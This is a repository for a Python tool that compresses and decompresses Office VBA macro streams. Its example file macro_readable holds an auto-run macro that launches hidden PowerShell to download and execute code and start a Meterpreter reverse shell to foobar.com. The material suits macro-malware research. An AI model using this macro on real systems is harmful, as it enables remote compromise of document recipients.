├── .gitignore ├── LICENSE ├── README.md ├── examples ├── Excel │ ├── Module1 │ ├── test.xls │ └── test │ │ ├── Workbook │ │ ├── [1]CompObj │ │ ├── [5]DocumentSummaryInformation │ │ ├── [5]SummaryInformation │ │ └── _VBA_PROJECT_CUR │ │ ├── PROJECT │ │ ├── PROJECTwm │ │ └── VBA │ │ ├── Module1 │ │ ├── Sheet1 │ │ ├── ThisWorkbook │ │ ├── _VBA_PROJECT │ │ ├── __SRP_0 │ │ ├── __SRP_1 │ │ ├── __SRP_2 │ │ ├── __SRP_3 │ │ └── dir ├── macro_raw └── macro_readable └── excel_press.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .coverage.* 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | *,cover 45 | 46 | # Translations 47 | *.mo 48 | *.pot 49 | 50 | # Django stuff: 51 | *.log 52 | 53 | # Sphinx documentation 54 | docs/_build/ 55 | 56 | # PyBuilder 57 | target/ 58 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Brandan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Excel-Press 2 | 3 | ## Summary ## 4 | Excel-Press is a Python implementation of Microsoft Office's proprietary VBA compression and decompression algorithm. 5 | 6 | Excel files with an '.xls' file extension (Excel 97-2003) are essentially zip files. There are already tools widely available to unzip and decompress the contents of these VBA macros, however; I was unable to find a Python implementation of Microsoft's VBA compression algorithm. 7 | 8 | ## Files ## 9 | * [excel-press.py](https://github.com/coldfusion39/excel-press/blob/master/decompress.py): Python script to compress or decompress a VBA macro file 10 | * [macro_raw](https://github.com/coldfusion39/excel-press/blob/master/examples/macro_raw): VBA macro in compressed format 11 | * [macro_readable](https://github.com/coldfusion39/excel-press/blob/master/examples/macro_readable): VBA macro after decompression 12 | * [test.xls](https://github.com/coldfusion39/excel-press/blob/master/examples/Excel/test.xls): Excel document containing VBA macro 13 | * [test](https://github.com/coldfusion39/excel-press/tree/master/examples/Excel/test): Contents of [test.xls](https://github.com/coldfusion39/excel-press/blob/master/examples/Excel/test.xls) after the .xls extension is changed to .zip and unzipped 14 | * [Module1](https://github.com/coldfusion39/excel-press/blob/master/examples/Excel/Module1): Full VBA macro file after unzipping [test.xls](https://github.com/coldfusion39/excel-press/blob/master/examples/Excel/test.xls) 15 | 16 | ## Examples ## 17 | Decompress an already compressed VBA macro file 18 | 19 | `python excel-press.py -d ./examples/Module1` 20 | 21 | Output just the VBA macro portion of the compressed VBA file 22 | 23 | `python excel-press.py -d ./examples/Module1 --raw` 24 | 25 | Compress the specified VBA macro 26 | 27 | `python excel-press.py -c ./examples/macro_readable` 28 | 29 | ## Credits ## 30 | The decompress function of excel-press.py is largely adapted from Didier Stevens' [oledump.py](http://blog.didierstevens.com/programs/oledump-py/) script. 31 | 32 | Information about Microsoft Office's proprietary VBA compression and decompress scheme was found in the following MSDN documentation [MS-OVBA.pdf](https://msdn.microsoft.com/en-us/library/office/cc313094%28v=office.12%29.aspx). 33 | -------------------------------------------------------------------------------- /examples/Excel/Module1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/Module1 -------------------------------------------------------------------------------- /examples/Excel/test.xls: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test.xls -------------------------------------------------------------------------------- /examples/Excel/test/Workbook: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/Workbook -------------------------------------------------------------------------------- /examples/Excel/test/[1]CompObj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/[1]CompObj -------------------------------------------------------------------------------- /examples/Excel/test/[5]DocumentSummaryInformation: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/[5]DocumentSummaryInformation -------------------------------------------------------------------------------- /examples/Excel/test/[5]SummaryInformation: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/[5]SummaryInformation -------------------------------------------------------------------------------- /examples/Excel/test/_VBA_PROJECT_CUR/PROJECT: -------------------------------------------------------------------------------- 1 | ID="{BC3E492C-C6EE-472E-A752-09E7CDE8A69D}" 2 | Document=ThisWorkbook/&H00000000 3 | Document=Sheet1/&H00000000 4 | Module=Module1 5 | Name="VBAProject" 6 | HelpContextID="0" 7 | VersionCompatible32="393222000" 8 | CMG="F1F3DD1BE11BE11BE11BE1" 9 | DPB="3C3E1021106D116D116D" 10 | GC="8785ABFABD0E090F090FF6" 11 | 12 | [Host Extender Info] 13 | &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 14 | 15 | [Workspace] 16 | ThisWorkbook=0, 0, 0, 0, C 17 | Sheet1=0, 0, 0, 0, C 18 | Module1=25, 25, 1599, 708, Z 19 | -------------------------------------------------------------------------------- /examples/Excel/test/_VBA_PROJECT_CUR/PROJECTwm: -------------------------------------------------------------------------------- 1 | ThisWorkbookThisWorkbookSheet1Sheet1Module1Module1 -------------------------------------------------------------------------------- /examples/Excel/test/_VBA_PROJECT_CUR/VBA/Module1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/_VBA_PROJECT_CUR/VBA/Module1 -------------------------------------------------------------------------------- /examples/Excel/test/_VBA_PROJECT_CUR/VBA/Sheet1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/_VBA_PROJECT_CUR/VBA/Sheet1 -------------------------------------------------------------------------------- /examples/Excel/test/_VBA_PROJECT_CUR/VBA/ThisWorkbook: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/_VBA_PROJECT_CUR/VBA/ThisWorkbook -------------------------------------------------------------------------------- /examples/Excel/test/_VBA_PROJECT_CUR/VBA/_VBA_PROJECT: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/_VBA_PROJECT_CUR/VBA/_VBA_PROJECT -------------------------------------------------------------------------------- /examples/Excel/test/_VBA_PROJECT_CUR/VBA/__SRP_0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/_VBA_PROJECT_CUR/VBA/__SRP_0 -------------------------------------------------------------------------------- /examples/Excel/test/_VBA_PROJECT_CUR/VBA/__SRP_1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/_VBA_PROJECT_CUR/VBA/__SRP_1 -------------------------------------------------------------------------------- /examples/Excel/test/_VBA_PROJECT_CUR/VBA/__SRP_2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/_VBA_PROJECT_CUR/VBA/__SRP_2 -------------------------------------------------------------------------------- /examples/Excel/test/_VBA_PROJECT_CUR/VBA/__SRP_3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/_VBA_PROJECT_CUR/VBA/__SRP_3 -------------------------------------------------------------------------------- /examples/Excel/test/_VBA_PROJECT_CUR/VBA/dir: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/Excel/test/_VBA_PROJECT_CUR/VBA/dir -------------------------------------------------------------------------------- /examples/macro_raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coldfusion39/excel-press/fdce86e0d57d6f802c01690186a89436153e6323/examples/macro_raw -------------------------------------------------------------------------------- /examples/macro_readable: -------------------------------------------------------------------------------- 1 | Sub Auto_Open() 2 | Pop 3 | Rocks 4 | End Sub 5 | 6 | Public Function Pop() As Variant 7 | Const HIDDEN_WINDOW = 0 8 | strComputer = "." 9 | Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") 10 | Set objStartup = objWMIService.Get("Win32_ProcessStartup") 11 | Set objConfig = objStartup.SpawnInstance_ 12 | objConfig.ShowWindow = HIDDEN_WINDOW 13 | Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") 14 | objProcess.Create "powershell -ep bypass -w hidden -nop -c $WC=New-Object System.Net.WebClient;$PA=(Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer;if($PA){$PA.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$WC.proxy=$PA;$WC.UseDefaultCredentials=$True};$UA=(Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent';$WC.Headers.Add('User-Agent', ""$UA"");$WC.Headers.Add('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');$WC.Headers.Add('Accept-Language', 'en-US,en;q=0.5');$WC.Headers.Add('Accept-Encoding', 'gzip, deflate');IEX $WC.DownloadString('http://foobar.com/foo/bar');bar -Payload windows/meterpreter/reverse_https -Lhost foobar.com -Lport 443", Null, objConfig, intProcessID 15 | End Function 16 | 17 | Public Function Rocks() As Variant 18 | Const HIDDEN_WINDOW = 0 19 | strComputer = "." 20 | Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") 21 | Set objStartup = objWMIService.Get("Win32_ProcessStartup") 22 | Set objConfig = objStartup.SpawnInstance_ 23 | objConfig.ShowWindow = HIDDEN_WINDOW 24 | Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") 25 | objProcess.Create "powershell -ep bypass -w hidden -nop -c $WC=New-Object System.Net.WebClient;$PA=(Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer;if($PA){$PA.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$WC.proxy=$PA;$WC.UseDefaultCredentials=$True};$UA=(Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent';$WC.Headers.Add('User-Agent', ""$UA"");$WC.Headers.Add('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');$WC.Headers.Add('Accept-Language', 'en-US,en;q=0.5');$WC.Headers.Add('Accept-Encoding', 'gzip, deflate');IEX $WC.DownloadString('http://foobar.com/foo/bar')", Null, objConfig, intProcessID 26 | End Function 27 | -------------------------------------------------------------------------------- /excel_press.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2015, Brandan [coldfusion] 3 | # 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | # 11 | # The above copyright notice and this permission notice shall be included in all 12 | # copies or substantial portions of the Software. 13 | # 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | # SOFTWARE. 21 | 22 | import argparse 23 | import math 24 | import struct 25 | import sys 26 | 27 | def main(): 28 | parser = argparse.ArgumentParser(description='Compress or decompress a VBA macro file') 29 | parser.add_argument('--raw', help='Output the VBA data as compressed (HEX)', action='store_true', required=False) 30 | mode = parser.add_mutually_exclusive_group(required=True) 31 | mode.add_argument('-c', '--compress', help='Compress the specified VBA macro file', required=False) 32 | mode.add_argument('-d', '--decompress', help='Decompressed the specified VBA macro file', required=False) 33 | args = parser.parse_args() 34 | 35 | if args.compress and args.raw: 36 | print('Raw output --raw can only be used with the -d decompress function!') 37 | return 0 38 | 39 | if args.compress: 40 | data = open(args.compress, 'rb').read() 41 | 42 | decompressed = CompressedVBA(data) 43 | compressed = decompressed.compress() 44 | print compressed 45 | else: 46 | macro_file = open(args.decompress, 'rb').read() 47 | print decompress(macro_file, raw=args.raw) 48 | 49 | # Decompression algorithm 50 | def decompress(data, raw=False): 51 | search_string = '\x00Attribut' 52 | position = data.find(search_string) 53 | if position != -1 and data[position + len(search_string)] == 'e': 54 | position = -1 55 | 56 | compressed_data = data[position - 3:] 57 | 58 | if raw: 59 | return compressed_data 60 | 61 | # Actually decompress the data 62 | remainder = compressed_data[1:] 63 | 64 | decompressed = '' 65 | while len(remainder) != 0: 66 | decompressed_chunk, remainder = decompress_chunk(remainder) 67 | decompressed += decompressed_chunk 68 | 69 | return decompressed 70 | 71 | def decompress_chunk(compressedchunk): 72 | if len(compressedchunk) < 2: 73 | return None, None 74 | 75 | header = ord(compressedchunk[0]) + ord(compressedchunk[1]) * 0x100 76 | size = (header & 0x0FFF) + 3 77 | data = compressedchunk[2:2 + size - 2] 78 | 79 | decompressed_chunk = '' 80 | 81 | while len(data) != 0: 82 | tokens, data = parse_token_sequence(data) 83 | for token in tokens: 84 | if len(token) == 1: 85 | decompressed_chunk += token 86 | else: 87 | number_of_offset_bits = offset_bits(decompressed_chunk) 88 | copy_token = ord(token[0]) + ord(token[1]) * 0x100 89 | offset = 1 + (copy_token >> (16 - number_of_offset_bits)) 90 | length = 3 + (((copy_token << number_of_offset_bits) & 0xFFFF) >> number_of_offset_bits) 91 | copy = decompressed_chunk[-offset:] 92 | copy = copy[0:length] 93 | length_copy = len(copy) 94 | while length > length_copy: 95 | if length - length_copy >= length_copy: 96 | copy += copy[0:length_copy] 97 | length -= length_copy 98 | else: 99 | copy += copy[0:length - length_copy] 100 | length -= length - length_copy 101 | decompressed_chunk += copy 102 | return decompressed_chunk, compressedchunk[size:] 103 | 104 | def offset_bits(data): 105 | number_of_bits = int(math.ceil(math.log(len(data), 2))) 106 | if number_of_bits < 4: 107 | number_of_bits = 4 108 | elif number_of_bits > 12: 109 | number_of_bits = 12 110 | return number_of_bits 111 | 112 | def parse_token_sequence(data): 113 | flags = ord(data[0]) 114 | data = data[1:] 115 | result = [] 116 | 117 | for mask in [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80]: 118 | if len(data) > 0: 119 | if flags & mask: 120 | result.append(data[0:2]) 121 | data = data[2:] 122 | else: 123 | result.append(data[0]) 124 | data = data[1:] 125 | 126 | return result, data 127 | 128 | # Compression algorithm 129 | class VBAStream: 130 | def __init__(self, data): 131 | self.data = data 132 | 133 | class CompressedVBA(VBAStream): 134 | def compress(self): 135 | self.compressed_container = bytearray() 136 | self.compressed_current = 0 137 | self.compressed_chunk_start = 0 138 | self.decompressed_current = 0 139 | self.decompressed_buffer_end = len(self.data) 140 | self.decompressed_chunk_start = 0 141 | 142 | signature_byte = 0x01 143 | self.compressed_container.append(signature_byte) 144 | self.compressed_current = self.compressed_current + 1 145 | 146 | while self.decompressed_current < self.decompressed_buffer_end: 147 | self.compressed_chunk_start = self.compressed_current 148 | self.decompressed_chunk_start = self.decompressed_current 149 | self.compress_decompressed_chunk() 150 | 151 | return self.compressed_container 152 | 153 | def compress_decompressed_chunk(self): 154 | self.compressed_container.extend(bytearray(4096 + 2)) 155 | compressed_end = self.compressed_chunk_start + 4098 156 | self.compressed_current = self.compressed_chunk_start + 2 157 | decompressed_end = self.decompressed_buffer_end 158 | 159 | if (self.decompressed_chunk_start + 4096) < self.decompressed_buffer_end: 160 | decompressed_end = (self.decompressed_chunk_start + 4096) 161 | 162 | while (self.decompressed_current < decompressed_end) and (self.compressed_current < compressed_end): 163 | self.compress_token_sequence(compressed_end, decompressed_end) 164 | 165 | if self.decompressed_current < decompressed_end: 166 | self.compress_raw_chunk(decompressed_end - 1) 167 | compressed_flag = 0 168 | else: 169 | compressed_flag = 1 170 | 171 | size = self.compressed_current - self.compressed_chunk_start 172 | header = 0x0000 173 | 174 | # Pack compressed chunk size 175 | temp1 = header & 0xF000 176 | temp2 = size - 3 177 | header = temp1 | temp2 178 | 179 | # Pack compressed chunk flag 180 | temp1 = header & 0x7FFF 181 | temp2 = compressed_flag << 15 182 | header = temp1 | temp2 183 | 184 | # Pack compressed chunk signature 185 | temp1 = header & 0x8FFF 186 | header_final = temp1 | 0x3000 187 | 188 | struct.pack_into("= self.decompressed_chunk_start: 236 | C = candidate 237 | D = self.decompressed_current 238 | L = 0 239 | while D < decompressed_end and (self.data[D] == self.data[C]): 240 | L = L + 1 241 | C = C + 1 242 | D = D + 1 243 | 244 | if L > best_length: 245 | best_length = L 246 | best_candidate = candidate 247 | candidate = candidate - 1 248 | 249 | if best_length >= 3: 250 | length_mask, off_set_mask, bit_count, maximum_length = self.copy_token_help() 251 | length = best_length 252 | if (maximum_length < best_length): 253 | length = maximum_length 254 | offset = self.decompressed_current - best_candidate 255 | else: 256 | length = 0 257 | offset = 0 258 | 259 | return offset, length 260 | 261 | def copy_token_help(self): 262 | difference = self.decompressed_current - self.decompressed_chunk_start 263 | bit_count = 0 264 | 265 | while ((1 << bit_count) < difference): 266 | bit_count +=1 267 | 268 | if bit_count < 4: 269 | bit_count = 4; 270 | 271 | length_mask = 0xFFFF >> bit_count 272 | off_set_mask = ~length_mask 273 | maximum_length = (0xFFFF >> bit_count) + 3 274 | 275 | return length_mask, off_set_mask, bit_count, maximum_length 276 | 277 | def pack_copy_token(self, offset, length): 278 | length_mask, off_set_mask, bit_count, maximum_length = self.copy_token_help() 279 | temp1 = offset - 1 280 | temp2 = 16 - bit_count 281 | temp3 = length - 3 282 | copy_token = (temp1 << temp2) | temp3 283 | 284 | return copy_token 285 | 286 | def compress_raw_chunk(self): 287 | self.compressed_current = self.compressed_chunk_start + 2 288 | self.decompressed_current = self.decompressed_chunk_start 289 | pad_count = 4096 290 | last_byte = self.decompressed_chunk_start + pad_count 291 | if self.decompressed_buffer_end < last_byte: 292 | last_byte = self.decompressed_buffer_end 293 | 294 | for index in xrange(self.decompressed_chunk_start, last_byte): 295 | self.compressed_container[self.compressed_current] = self.data[index] 296 | self.compressed_current = self.compressed_current + 1 297 | self.decompressed_current = self.decompressed_current + 1 298 | pad_count = pad_count - 1 299 | 300 | for index in xrange(0, pad_count): 301 | self.compressed_container[self.compressed_current] = 0x0; 302 | self.compressed_current = self.compressed_current + 1 303 | 304 | if __name__ == '__main__': 305 | sys.exit(main()) 306 | --------------------------------------------------------------------------------